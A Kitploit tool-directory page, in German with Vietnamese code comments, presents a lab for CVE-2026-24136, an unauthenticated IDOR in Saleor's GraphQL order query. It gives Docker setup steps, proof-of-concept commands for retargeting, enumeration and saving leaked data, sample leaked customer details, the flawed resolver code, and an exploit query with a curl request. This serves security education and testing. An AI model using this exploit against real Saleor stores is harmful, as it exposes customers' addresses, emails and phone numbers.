Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-24136-Lab — CVE-2026-24136 | Lab zur Ausnutzung der IDOR-Schwachstelle in Saleor GraphQL – die query order() prüft die Authentifizierung nicht und legt sämtliche PII (E-Mail, Adresse, Telefonnummer) von Kunden offen. Enthält Docker-Umgebung, Seed-Daten-Skript und PoC. CVSS 4.0: 8.7 HOCH. | Kitploit
Tools/GitHubGitHub/blankbire/cve-2026-24136-lab
SchwachstellenanalyseWebanwendungs-ExploitationAPI-SicherheitstestsPenetrationstestsLernen & BildungLabs & Praxis
GitHubblankbire/cve-2026-24136-lab

CVE-2026-24136-Lab

CVE-2026-24136 | Lab zur Ausnutzung der IDOR-Schwachstelle in Saleor GraphQL – die query order() prüft die Authentifizierung nicht und legt sämtliche PII (E-Mail, Adresse, Telefonnummer) von Kunden offen. Enthält Docker-Umgebung, Seed-Daten-Skript und PoC. CVSS 4.0: 8.7 HOCH.

Repository anzeigen
113vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-24136 - Saleor GraphQL IDOR / Unauthenticated PII Exfiltration

Übersicht

FeldDetail
CVE IDCVE-2026-24136
Art der SchwachstelleIDOR - Authorization Bypass Through User-Controlled Key (CWE-639)
SoftwareSaleor E-Commerce-Plattform
Betroffene Versionen3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28
Gepatchte Versionen3.20.110 · 3.21.45 · 3.22.29
CVSS 3.17.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS 4.08.7 HIGH
AuswirkungNicht authentifizierter Akteur kann PII (Name, Adresse, Telefonnummer, E-Mail) jeder Bestellung auslesen
Authentifizierung erforderlich?Nein

Beschreibung der Schwachstelle

Saleor stellt eine GraphQL-API zur Verwaltung von E-Commerce-Bestellungen bereit. Die Abfrage order(id: $id) ermöglicht das Abrufen von Details einer Bestellung anhand der globalen ID. In den betroffenen Versionen wird nicht überprüft, ob der Aufrufer berechtigt ist, diese Bestellung einzusehen.

Jeder, auch völlig anonyme Benutzer ohne Konto, kann diese Abfrage aufrufen und die vollständigen PII des Kunden erhalten: E-Mail, Name, Lieferadresse, Telefonnummer, Anmeldeverlauf.


Laboraufbau

cve-2026-24136-lab/
├── docker-compose.yml          # Môi trường lab (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1               # Script khởi động tự động (Windows PowerShell)
├── setup_lab.sh                # Script khởi động tự động (Linux / WSL / macOS)
├── README.md
└── scripts/
    ├── start_api.sh            # Startup wrapper: patch wsgi bug + gunicorn
    ├── seed_data.py            # Tạo victim accounts + orders có PII
    └── poc_cve_2026_24136.py   # PoC khai thác

Labor starten

Voraussetzungen

  • Docker Desktop (Windows / macOS) oder Docker Engine (Linux)
  • Python 3.8+
  • pip install requests

Windows (PowerShell)

# Cấp quyền thực thi nếu cần
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# Chạy setup tự động
.\setup_lab.ps1

Linux / WSL / macOS (Bash)

chmod +x setup_lab.sh
./setup_lab.sh

Manuell

# 1. Khởi động containers
docker compose up -d

# 2. Chờ API sẵn sàng (~60-90 giây)
#    Kiểm tra: curl http://localhost:8000/health/

# 3. Tạo admin account
docker exec cve_saleor_api python manage.py shell -c \
  "from django.contrib.auth import get_user_model; U=get_user_model(); \
   U.objects.filter(email='[email protected]').exists() or \
   U.objects.create_superuser('[email protected]', 'admin')"

# 4. Populate products/channels
docker exec cve_saleor_api python manage.py populatedb

# 5. Tạo victim data (accounts + orders với PII)
cd scripts
pip install requests
python seed_data.py

Endpoints nach dem Start:

ServiceURL
Saleor GraphQL APIhttp://localhost:8000/graphql/
GraphQL Playgroundhttp://localhost:8000/graphql/
Saleor Dashboardhttp://localhost:9000
Admin[email protected] / admin

PoC verwenden

cd scripts

# Xem giải thích kỹ thuật
python poc_cve_2026_24136.py explain

# Khai thác từ danh sách đã seed (KHUYẾN NGHỊ - Saleor 3.x dùng UUID IDs)
python poc_cve_2026_24136.py file order_ids.json

# Khai thác 1 order bằng base64 global ID trực tiếp
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...

# Enumerate sequential (chỉ hoạt động với Saleor < 3.x dùng integer IDs)
python poc_cve_2026_24136.py enumerate --start 1 --end 100

# Đổi target API
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json

# Lưu kết quả ra JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json

Beispielausgabe

[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...

[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)

╔══════════════════════════════════════════════════════════════╗
║  [LEAKED] ORDER #41 -- DRAFT                                 ║
╠──────────────────────────────────────────────────────────────╣
║  Email           : [email protected]                         ║
╠──────────────────────────────────────────────────────────────╣
║  Billing Address : Nguyen Van A                              ║
║    Street        : 123 Le Loi Street                         ║
║    City/Post     : HO CHI MINH CITY 700000                   ║
║    Country       : Vietnam                                   ║
║    Phone         : +84901234567                              ║
╚══════════════════════════════════════════════════════════════╝

[*] Successfully leaked 6/6 orders

Root-Cause-Analyse

1. Order-ID-Kodierung

Saleor verwendet die „Global Object Identification" gemäß der Relay GraphQL-Spezifikation. Jedes Objekt wird durch eine globale ID identifiziert, die wie folgt aufgebaut ist:

base64("<TypeName>:<internal_id>")

Bei Bestellungen in Saleor 3.x:

# internal_id là UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id   = base64("Order:" + internal_id)
            = "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"

Hinweis: Saleor 2.x verwendete sequenzielle Integer-IDs (Order:1, Order:2, ...), was die Enumeration erleichtert.
Saleor 3.x ist auf UUID umgestiegen, daher muss ein Angreifer die UUID auf andere Weise erhalten (Bestellbestätigungs-E-Mail, URL-Leak usw.).

2. Fehlerhafter Code-Ausschnitt

Datei: saleor/graphql/order/resolvers.py

# PHIÊN BẢN BỊ LỖI (trước khi patch)
def resolve_order(root, info, id):
    """Resolve order by ID – không có bất kỳ kiểm tra authorization nào."""
    _, pk = from_global_id_or_error(id, Order)
    return qs.filter(pk=pk).first()
    # Bất kỳ ai gọi cũng nhận được dữ liệu, không kiểm tra user, không kiểm tra session

Datei: saleor/graphql/order/schema.py

# Query definition, không khai báo permissions
class OrderQueries:
    order = graphene.Field(
        Order,
        description="Look up an order by ID.",
        id=graphene.Argument(graphene.ID, description="ID of the order."),
    )

    def resolve_order(self, info, id):
        return resolvers.resolve_order(info, id)
        # Không có @permission_required, không có guard nào

3. Exploit-GraphQL-Abfrage

Die gesendete Abfrage enthält keinen Authorization-Header:

query ExploitOrder($id: ID!) {
  order(id: $id) {
    number
    status
    userEmail
    billingAddress {
      firstName
      lastName
      streetAddress1
      city
      postalCode
      phone
    }
    shippingAddress {
      firstName
      lastName
      phone
    }
    user {
      email
      firstName
      lastName
      lastLogin
      isActive
    }
  }
}
# Gửi bằng curl, không cần token
curl -s http://localhost:8000/graphql/ \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
  }'

# Response (không cần auth):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}

4. Angriffsablauf

Tool herunterladen